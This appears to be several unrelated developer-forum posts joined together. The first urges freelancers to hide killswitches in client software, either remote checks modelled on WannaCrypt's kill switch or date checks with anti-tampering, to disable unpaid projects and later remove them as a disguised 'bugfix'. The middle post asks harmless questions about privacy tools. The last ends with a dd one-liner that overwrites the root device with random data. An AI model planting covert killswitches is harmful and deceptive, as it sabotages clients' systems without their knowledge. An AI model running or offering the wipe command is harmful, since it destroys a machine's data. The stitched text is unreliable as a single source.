!rant but nightly thoughts about wrecking clients that won't pay

If you're building something for a client for money, think of a killswitch.

If it requires internet anyway and you have a webserver, do something similar to what the killswitch of WannaCrypt was (but rather checking for a file on the webserver for existing/non-existing). If the client won't pay, kill the application. If the client pays, maybe even deliver a version without killswitch later (as a "bugfix")

If it is some offline project, you can check for a date (payment due date?) and also check for date/time manipulation on the system itself, and disable the killswitch via a "bugfix" version later just like above.

If clients pay, they don't have trouble. Else, they do.

I didnt thought I have to write this down, but you people dont get standard business logic, so here advice from someone who knows that shit:
- If you wanna get paid, make your own contract and let a lawyer look over it.
- always have a lawyer on retainer and enough money for him/her.
- nothing is real without a signature.
- your clients should know that you're gonna sue them if they don't pay.
- don't go easy on anyone, here an easy way to decide if you should sue:
Didnt pay? Sue.
Breaks contract? Sue
Asks for later payment? Dont
- always code in a killswitch, trust me you're gonna need it.

Because I am very interested in cyber security and plan on doing my masters in it security I always try to stay up to date with the latest news and tools. However sometimes its a good idea to ask similar-minded people on how they approach these things, - and maybe I can learn a couple of things. So maybe people like @linuxxx have some advice :D Let's discuss :D

1) What's your goto OS? I currently use Antergos x64 and a Win10 Dualboot. Most likely you guys will recommend Linux, but if so what ditro, and why? I know that people like Snowden use QubesOS. What makes it much better then other distro? Would you use it for everyday tasks or is it overkill? What about Kali or Parrot-OS?

2) Your go-to privacy/security tools? Personally, I am always conencted to a VPN with openvpn (Killswitch on). In my browser (Firefox) I use UBlock and HttpsEverywhere. Used NoScript for a while but had more trouble then actual use with it (blocked too much). Search engine is DDG. All of my data is stored in VeraCrypt containers, so even if the system is compromised nobody is able to access any private data. Passwords are stored in KeePass. What other tools would you recommend?

3) What websites are you browsing for competent news reports in the it security scene? What websites can you recommend to find academic writeups/white papers about certain topics?

4) Google. Yeah a hate-love relationship, but its hard to completely avoid it. I do actually have a Google-Home device (dont kill me), which I use for calender entries, timers, alarms, reminders, and weather updates as well as IOT stuff such as turning my LED lights on and off. I wouldn"t mind switching to an open source solution which is equally good, however so far I couldnt find anything that would a good option. Suggestions?

5) What actions do you take to secure your phone and prevent things such as being tracked/spyed? Personally so far I havent really done much except for installing AdAway on my rooted device aswell as the same Firefox plugins I use on my desktop PC.

6) Are there ways to create mirror images of my entire linux system? Every now and then stuff breaks, that is tedious to fix and reinstalling the system takes a couple of hours. I remember from Windows that software such as Acronis or Paragon can create a full image of your system that you can backup and restore at any point to get a stable, healthy system back (without the need to install everything by hand).

7) Would you encrypt the boot partition of your system, even tho all data is already stored in encrypted containers?

8) Any other advice you can give :P ?

The feeling of evil satisfaction when your boss asks you to build a killswitch into a client's project.

Just call me Zero Cool.

dd if=/dev/urandom of=$(mount | grep "on / " | xargs -n 1 | head -n 1)